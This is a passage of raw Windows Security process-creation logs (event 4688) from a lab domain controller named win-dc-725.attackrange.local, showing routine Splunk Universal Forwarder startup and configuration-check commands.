Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254032 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf40 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254031 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf40 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254030 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254029 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe40 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254028 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xc04 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254027 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254026 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x9c8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254025 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xc04 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254024 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xca0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254038 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1118 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254037 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254036 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2e4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254035 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254034 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfa8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254044 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x540 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x3f4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254043 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254042 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254041 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf7c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254040 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10bc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254039 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or 